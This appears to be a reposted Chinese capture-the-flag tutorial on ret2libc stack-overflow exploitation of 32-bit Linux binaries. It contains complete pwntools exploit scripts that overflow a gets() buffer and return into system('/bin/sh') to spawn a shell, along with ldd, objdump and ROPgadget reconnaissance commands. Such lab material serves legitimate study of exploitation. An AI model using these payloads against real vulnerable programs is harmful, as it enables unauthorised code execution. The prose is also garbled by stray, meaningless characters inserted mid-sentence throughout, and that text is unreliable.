http://wooyun.jozxing.cc/static/drops/tips-6597.html
常用命令
- 使用ldd命令可以查看目標(biāo)程序調(diào)用的so庫
$ldd level2
linux-gate.so.1 => (0xb7781000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c4000)
/lib/ld-linux.so.2 (0xb7782000)
$ cp /lib/i386-linux-gnu/libc.so.6 libc.so
- 查看plt表
objdump -d -j .plt level2
- 查看got表
objdump -R level2
-找libc中字符串(libc=ELF('./libc.so'))
libc.search('/bin/sh')
ret2libc
條件
? ret2libc1 checksec ret2libc1
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
并且需要同時提供了 system 地址與 /bin/sh 的地址
過程
源程序為 32 位嚎货,開啟了 NX 保護。下面來看一下程序源代碼,確定漏洞位置
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
可以看到在執(zhí)行 gets 函數(shù)的時候出現(xiàn)了棧溢出束莫。此外糙申,利用 ropgadget破婆,我們可以查看是否有 /bin/sh 存在
? ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
確實存在篷扩,再次查找一下是否有 system 函數(shù)存在碾牌。經(jīng)在 ida 中查找思灰,確實也存在玷犹。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我們直接返回該處洒疚,即執(zhí)行 system 函數(shù)歹颓。相應(yīng)的 payload 如下
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
這里我們需要注意函數(shù)調(diào)用棧的結(jié)構(gòu),如果是正常調(diào)用 system 函數(shù)油湖,我們調(diào)用的時候會有一個對應(yīng)的返回地址巍扛,這里以'bbbb' 作為虛假的地址,其后參數(shù)對應(yīng)的參數(shù)內(nèi)容乏德。
這個例子相對來說簡單撤奸,同時提供了 system 地址與 /bin/sh 的地址,但是大多數(shù)程序并不會有這么好的情況。
ret2libc2
該題目與例 1 基本一致寂呛,只不過不再出現(xiàn) /bin/sh 字符串怎诫,所以此次需要我們自己來讀取字符串,所以我們需要兩個 gadgets贷痪,第一個控制程序讀取字符串幻妓,第二個控制程序執(zhí)行 system(""/bin/sh")。由于漏洞與上述一致劫拢,這里就不在多說肉津,具體的 exp 如下
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
需要注意的是,我這里向程序中 bss 段的 buf2 處寫入 /bin/sh 字符串舱沧,并將其地址作為 system 的參數(shù)傳入妹沙。這樣以便于可以獲得 shell。